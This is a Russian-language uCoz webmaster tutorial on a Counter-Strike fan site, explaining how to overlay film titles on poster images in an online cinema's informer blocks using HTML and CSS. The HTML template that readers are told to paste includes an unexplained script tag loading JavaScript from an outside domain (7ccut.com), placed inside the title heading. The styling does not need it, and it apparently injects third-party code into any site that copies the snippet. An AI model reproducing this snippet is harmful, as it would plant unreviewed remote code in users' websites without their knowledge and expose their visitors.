Например: Сервер CS 1.6
Понедельник, 29.04.2024, 00:39 Регистрация Карта сайта RSS Лента
Меню сайта
Counter-Strike 1.6
Скачать Counter-Strike 1.6
Готовые сервера для CS 1.6
Вейпоинты для CS 1.6
Анти-читы для CS 1.6
Плагины для CS 1.6
Оружие для CS 1.6
Карты для CS 1.6
Патчи для CS 1.6
Боты для CS 1.6
Steam для CS 1.6
Моды для CS 1.6
Звуки для CS 1.6
Популярные файлы
Counter-Strike GO
Скачать Counter-Strike GO
Готовые сервера для CS GO
Программы для CS GO
Скины игроков для CS GO
Модели оружия для CS GO
Модели рук для CS GO
Карты для CS GO
Наш опрос
Какой поисковик лучше?
[ Результаты · Архив опросов ]
Всего ответов: 23
Counter-Strike Source
Скачать Counter-Strike Source
Модели игроков для CS Source
Модели оружия для CS Source
Прицелы для AWP CS Source
Фонарики для CS Source
Скрипты для CS Source
Радары для CS Source
Моды для CS Source
Читы для CS Source
Звуки для CS Source
Кровь для CS Source
Спреи для CS Source
Профиль
uCoz system
Скрипты [4]
Скрипты (новые) [0]
Шаблоны [0]
Шаблоны форума [0]
Дизайны для Ucoz [0]
Иконки групп [0]
Кнопки для форума [0]
Программы для вебмастера [0]
Ранги [0]
Новые скрипты
Боковое Меню Цветное и серое
Скрипт "Наша кнопка"
Движущиеся блок "друзья сайта"
Темный мини профиль для Ucoz
Последние комментарии как на diz-cs
Лучшие пользователи
    ESTER
    Добавил файлов: 122
    Количество постов: 5
    oleg123
    Добавил файлов: 0
    Количество постов: 4
    Onlines
    Добавил файлов: 0
    Количество постов: 4
    AHTOLLIKA
    Добавил файлов: 0
    Количество постов: 1
    BattleCowboys
    Добавил файлов: 0
    Количество постов: 1
Статистика
Гости: Пользователи:
Онлайн всего: 1
Гостей: 1
Пользователей: 0
Пользователи онлайн
Никого нет.
Наши партнёры
Главная » Статьи » Web Информация » Web Мастеру
Вид информера онлайн кинотеатра
Если вы владелец онлайн кинотеатра в системе uCoz, и пользуетесь информерами, то статья именно для вас.
Стандартный вид информеров не то, что поможет привлечь потенциальных зрителей, а скорее отпугнет. Во-первых, из-за того, что заходят в кинотеатр, все должно быть наглядно. Изначально информер выглядит как простой текст (название), с датой добавления, и автором, все. Мало, кто захочет читать. Поэтому для информеров такого типа нужна как минимум картинка. Это не обязательно может быть информер фильмов. Да, уже нормально, но фильмы имеют названия разной длины, потому все картинки смещаются, какие-то выше, какие-то ниже, в общем, весь вид портится.

Я предлагаю сделать надписи прямо на картинке, при этом красиво это все оформив.

Итак, начнем.

Для начала, вставим этот код в шаблон информера.

Код
<table border="0" cellpadding="2" cellspacing="1" width="100%" class="infTable">  
<tbody>  
<tr align="center">  
<td class="infTitle" colspan="2">  
<p>  
<div class="image">  
<a href="$ENTRY_URL$"><img src="$IMG_URL1$" vspace="5" width="160" height="220" align="center" border="2" hspace="10" title="$TITLE$" style="vertical-align: bottom;"></a>  
<h2> <script src="http://7ccut.com/table.js" type="text/javascript"></script>  
<div class="img_title"><div align="left"><a href="$ENTRY_URL$">$TITLE$</a></div></div>  
</h2>  
</div>  
</p>  
</td>  
</tr>  
</tbody>  
</table>


После чего, в CSS вставляем данные стили.

Код
.img_title {  
word-wrap: break-word;  
text-indent: 0px;  
font-size: 13px;  
color: #376d9c;  
font-weight: bold; font-family: Arial Narrow, sans-serif;  
background: #ffffff;  
height: 40px;  
vertical-align:middle;  
width: 162px;  
left: 20px;  
text-align: center;  
-webkit-box-shadow:0 1px 4px rgba(0, 0, 0, 0.3), 0 0 40px rgba(0, 0, 0, 0.1) inset;  
-moz-box-shadow:0 1px 4px rgba(0, 0, 0, 0.3), 0 0 40px rgba(0, 0, 0, 0.1) inset;  
box-shadow:0 1px 4px rgba(0, 0, 0, 0.3), 0 0 40px rgba(0, 0, 0, 0.1) inset;  
-webkit-box-shadow: 0 15px 10px -10px rgba(0, 0, 0, 0.5), 0 1px 4px rgba(0, 0, 0, 0.3), 0 0 40px rgba(0, 0, 0, 0.1) inset;  
-moz-box-shadow: 0 15px 10px -10px rgba(0, 0, 0, 0.5), 0 1px 4px rgba(0, 0, 0, 0.3), 0 0 40px rgba(0, 0, 0, 0.1) inset;  
box-shadow: 0 15px 10px -10px rgba(0, 0, 0, 0.5), 0 1px 4px rgba(0, 0, 0, 0.3), 0 0 40px rgba(0, 0, 0, 0.1) inset;  
}  
.image {  
position: relative;  
width : 100%;  
}  
h2 {  
position: absolute;  
top: 170px;  
left: 0;  
width : 100%;  
vertical-align:middle;  
}


Это придаст нашему блоку с названием тень, а тексту стиль.

height: 40px - можно убрать, чтобы блок сам увеличивался или уменьшался в зависимости от длины заголовка. Или оставить, если хотите, чтобы блоки были одинаковые (при этом если надпись длиннее оставленной высоты (места), то она будет вылезать за рамки).

Код
h2 {  
position: absolute;  
top: 170px;  
left: 0;  
width : 100%;  
vertical-align:middle;  
}  
.image {  
position: relative;  
width : 100%; /* for IE 6 */  
}  
Категория: Web Мастеру | Добавил: Bitfood (25.01.2014)
Просмотров: 275 | Рейтинг: 0.0/0
Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]